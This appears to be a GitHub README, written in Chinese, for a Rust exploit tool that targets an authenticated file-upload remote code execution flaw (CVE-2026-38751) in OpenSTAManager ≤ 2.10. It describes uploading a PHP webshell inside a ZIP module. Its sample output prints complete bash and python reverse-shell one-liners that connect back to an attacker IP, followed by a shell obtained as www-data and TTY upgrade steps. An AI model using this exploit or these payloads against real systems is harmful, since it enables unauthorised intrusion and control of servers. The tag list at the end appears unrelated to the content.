b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751

GitHub: b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751

针对 OpenSTAManager 认证后任意文件上传漏洞(CVE-2026-38751)的全功能 Rust 利用工具,支持交互式 webshell 和反弹 shell。

Stars: 7 | Forks: 0

# OpenSTAManager RCE 漏洞利用 (CVE-2026-38751) **任意文件上传导致远程代码执行** 针对 **CVE-2026-38751** 的全功能概念验证,使用 **Rust** 编写。 ## 描述 OpenSTAManager ≤ 2.10 存在 **认证后任意文件上传漏洞**,允许攻击者上传包含 PHP webshell 的恶意 ZIP 归档。此 PoC 自动化了以下过程: - 使用有效凭据登录 - 上传带有 webshell 的恶意模块 - 验证漏洞 - **交互式 web shell**(执行命令) - **反弹 shell**,支持 TTY 处理(多种 payload) - 清理上传的后门文件 ## 功能特性 | 功能 | 描述 | |---------|-------------| | **登录** | 使用提供的凭据进行身份验证。 | | **ZIP 生成** | 创建包含有效 `MODULE` 描述符和 PHP shell 的 ZIP 文件。 | | **文件上传** | 通过更新机制发送恶意 ZIP 文件。 | | **验证** | 检查 shell 是否可访问并执行测试命令(`id`)。 | | **交互式 Web‑shell** | 允许通过 webshell(`-i`)交互式运行命令。 | | **反弹 shell** | 发送多种 payload(bash、python、base64、nc、mkfifo)以获取 shell。 | | **TTY 升级指南** | 展示获取完全交互式 TTY 的分步指南。 | | **清理** | 自动移除上传的 `shell.php`(除非指定 `--no-cleanup`)。 | ## 🛠️ 环境要求 - [Rust](https://www.rust-lang.org/tools/install) (1.70+) - 运行 OpenSTAManager ≤ 2.10 的 **目标系统**。 - 用于登录的 **有效用户账户**(包含密码)。 ## 安装 克隆代码仓库并构建二进制文件: ``` git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751 cd OpenSTAManager-RCE-Exploit-CVE-2026-38751 cargo build --release ./target/release/openstamanager-rce-exploit --help ``` ## 示例: ``` $ ./openstamanager-rce-exploit --url http://target.com/ -U -P --lhost 10.10.14.5 --lport 4444 [ OpenSTAManager RCE Exploit : ] Target: http://target.com/ [*] Step 1: Login... [+] Login successful: admin [*] Step 2: Enable updates... [+] Updates enabled [*] Step 3: Create ZIP... [*] Created in-memory ZIP file [*] Shell location: /modules/shell/shell.php [*] Step 4: Upload... [*] Upload status: 500 Internal Server Error [+] Upload successful [*] Step 5: Verify... [+] Vulnerability confirmed! [+] Shell: http://target.com/modules/shell/shell.php [+] Test: http://target.com/modules/shell/shell.php?c=whoami [*] Listening on 10.10.14.5:4444... [*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' [-] Payload failed: operation timed out [*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' [-] Payload failed: operation timed out [*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' [+] Payload sent successfully. Waiting for connection... [+] Connection received from 10.129.19.238:55758 [*] Sent 'script /dev/null -c bash' [*] [*] Reverse shell established. [*] To get a fully interactive TTY: [*] 1. Press Ctrl+Z to suspend the shell. [*] 2. Run: stty raw -echo; fg [*] 3. When prompted for terminal type, type: xterm [*] 4. Export: export TERM=xterm SHELL=bash [*] 5. Adjust rows/columns with: stty rows columns [*] (Get the size with: stty size) [*] [*] Press Ctrl+C to exit and cleanup the webshell. bash: cannot set terminal process group (1481): Inappropriate ioctl for device bash: no job control in this shell www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@target:~/html/openstamanager/modules/shell$ whoami whoami www-data www-data@target:~/html/openstamanager/modules/shell$ ```
标签:CISA项目, RCE利用, Rust, Webshell, 可视化界面, 网络流量审计, 通知系统